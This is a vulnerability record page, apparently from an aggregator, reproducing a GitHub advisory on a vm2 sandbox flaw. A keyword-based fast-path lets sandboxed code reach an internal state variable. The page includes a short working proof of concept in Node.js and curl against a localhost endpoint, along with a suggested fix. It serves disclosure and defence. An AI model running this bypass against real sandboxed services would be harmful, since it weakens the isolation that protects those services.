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Response snapshot Nov 5, 2026, 23:11 UTC

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VulnerabilityCVE-2026-44003

vm2's Transformer Fast-Path Bypass Exposes Internal State Variable

vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords.

Published Updated

At a glance

Exploited
Not known
Severity
5.3 Medium (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: vm2: 3.11.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-wp5r-2gw5-m7q7 (opens a new tab)

What happened

Summary

vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import).

Details

In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.

Continue reading

When the fast-path is taken: 1. INTERNAL_STATE_NAME identifier check is bypassed: The AST visitor that blocks access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL never runs 2. with statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulation 3. The internal state object exposes: handleException(e), wrapWith(x), import(what)

While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM();

// Access internal state (bypassed — no catch/import/async keywords)
const result = vm.run(`
 var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
 Object.keys(x).join(",")
`);
console.log(result); // "wrapWith,handleException,import"

// Control test — blocked when catch keyword is present
try {
 vm.run(`
 try {
 var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
 } catch(e) { e.message }
 `);
} catch(e) {
 console.log(e.message); // "Use of internal vm2 state variable"
}

HTTP demonstration:

# Internal state access (bypassed)
curl -s -X POST http://localhost:3000/api/execute \
 -H "Content-Type: application/json" \
 -d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}'
# Result: "wrapWith,handleException,import"

# Control test — blocked when catch keyword is present
curl -s -X POST http://localhost:3000/api/execute \
 -H "Content-Type: application/json" \
 -d '{"code":"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }"}'
# Result: {"errors":["Use of internal vm2 state variable"]}

Suggested fix:

// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check
if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {
 return {__proto__: null, code, hasAsync: false};
}

Impact

- Security Control Bypass: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords. - Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes. - Scope: All applications using vm2. No special configuration required.

Affected package ranges reported by GitHub: vm2: <= 3.10.5

Scores and how they were measured

CVSS base severity

5.3

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

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Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-wp5r-2gw5-m7q7 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-wp5r-2gw5-m7q7, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 5). vm2's Transformer Fast-Path Bypass Exposes Internal State Variable (CVE-2026-44003). https://kevwire.com/record/CVE-2026-44003

MLA

"vm2's Transformer Fast-Path Bypass Exposes Internal State Variable (CVE-2026-44003)." KEVWire, 5 Nov. 2026, kevwire.com/record/CVE-2026-44003.

Chicago

KEVWire. "vm2's Transformer Fast-Path Bypass Exposes Internal State Variable (CVE-2026-44003)." Last modified November 5, 2026. https://kevwire.com/record/CVE-2026-44003.

Evidence summary (plain text)

vm2's Transformer Fast-Path Bypass Exposes Internal State Variable (May 7, 2026).
vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import).

In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.
CVSS 5.3 (version 3.1; evidence as of Nov 5, 2026; https://github.com/advisories/GHSA-wp5r-2gw5-m7q7).
Sources:
GitHub-reviewed advisory GHSA-wp5r-2gw5-m7q7: https://github.com/advisories/GHSA-wp5r-2gw5-m7q7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-44003.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 5, 2026, 23:10 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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